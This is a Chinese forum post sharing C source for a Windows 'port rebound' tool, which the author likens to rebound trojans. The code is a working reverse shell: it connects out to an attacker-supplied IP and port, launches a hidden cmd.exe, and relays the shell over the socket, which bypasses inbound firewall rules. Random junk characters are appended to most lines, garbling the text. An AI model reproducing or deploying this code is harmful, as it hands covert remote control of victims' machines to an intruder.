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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UD2<!a'T  
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/* ============================== e:LZs0  
Rebound port in Windows NT $ud>Z;X=P  
By wind,2006/7 1gm/{w6O  
===============================*/ O&w3@9KJ?  
#include l;*lPRoW,  
#include 1bg@[YN!;  
@$d\5Q(G  
#pragma comment(lib,"wsock32.lib") AvE^ F1  
8(5E<&JP  
void OutputShell(); `^L<db^A  
SOCKET sClient; \>Rwg=Lh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H ?j-=Zka  
9>3Ltnn0  
void main(int argc,char **argv) C;q}3c*L  
{ kA%OF*%|6  
WSADATA stWsaData; .k`*$1?73x  
int nRet; =9 M|o0aY  
SOCKADDR_IN stSaiClient,stSaiServer; +?Jk@lE<  
gAA %x 7  
if(argc != 3) W}k?gg=  
{ P}9Y8$Y>U  
printf("Useage:\n\rRebound DestIP DestPort\n"); v* ~%x  
return; CY3\:D0I  
} 8[1DO1*P  
sN1*Zp'(  
WSAStartup(MAKEWORD(2,2),&stWsaData); :F>L;mp  
s.;KVy,=Bu  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G^rh*cb K  
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stSaiClient.sin_family = AF_INET; /;nO<X:XV  
stSaiClient.sin_port = htons(0); {0vbC/?]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EO/cW<uV'  
RO$ @>vL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ( ssH=a  
{ 1gShV ]2  
printf("Bind Socket Failed!\n"); 8U2 wH  
return;  ,eeL5V  
} +%}5{lu_e  
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stSaiServer.sin_family = AF_INET; 3cfZ!E~^kc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CESe}^)n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wytvs*\`  
t7oz9fSz=?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rfXF 01I  
{ "UoCT7X  
printf("Connect Error!"); )fd-IYi-3  
return; Rhv".epz  
} t6bWSz0  
OutputShell(); I0l.KiBm  
} xeYySM=  
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void OutputShell() /ik)4]>  
{ e,#+Xx0M  
char szBuff[1024]; 9S H<d)^  
SECURITY_ATTRIBUTES stSecurityAttributes; Gp ^ owr  
OSVERSIONINFO stOsversionInfo; ;h-G3>Il  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DtF![0w/  
STARTUPINFO stStartupInfo; =o{: -EKQF  
char *szShell; 0(9I\j5`TT  
PROCESS_INFORMATION stProcessInformation; ;%rs{XO9  
unsigned long lBytesRead; oX 2DFgz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W -C0 YU1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N t>HztXd  
stSecurityAttributes.lpSecurityDescriptor = 0; P96Cw~<Q?  
stSecurityAttributes.bInheritHandle = TRUE; o >Rw}R  
t|#NMRz  
RRI>bh]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U/3e,`c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nF. ;LM  
}uvKE|umj  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U| 41u4)D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0K$WSGB?6j  
stStartupInfo.wShowWindow = SW_HIDE; 0l(E!d8&'  
stStartupInfo.hStdInput = hReadPipe; 2yJ7]+Jd7Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p9&gEW  
3)C6OF>7  
GetVersionEx(&stOsversionInfo); nz&b5Xb2  
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switch(stOsversionInfo.dwPlatformId) 8V=HyF#  
{ v E3{H  
case 1: f>s#Ngvc  
szShell = "command.com"; KMpDlit  
break; np`g cj#  
default: ;Z!~A"~$>  
szShell = "cmd.exe";  '{j\0  
break; NWQPOq#  
} p-T~x$"c|  
2[8fFo>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); de=5=>P7  
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send(sClient,szMsg,77,0); g/U$!d_  
while(1) 9{9#AI.G  
{ Jm]]>K8.3V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [.#p  
if(lBytesRead) K'iS#i7  
{ bG5^h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )I Y 5Y  
send(sClient,szBuff,lBytesRead,0); XDP6T"h  
} r|\5'ZMx  
else 7E!";HT  
{ e-%7F]e  
lBytesRead=recv(sClient,szBuff,1024,0); @o4z3Q@  
if(lBytesRead<=0) break; |iwM9oO%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -+ ]T77r  
} jlRl2 #"  
} ,yHzo  
Qb6QXjN Q  
return; (6ohrM>Q  
}
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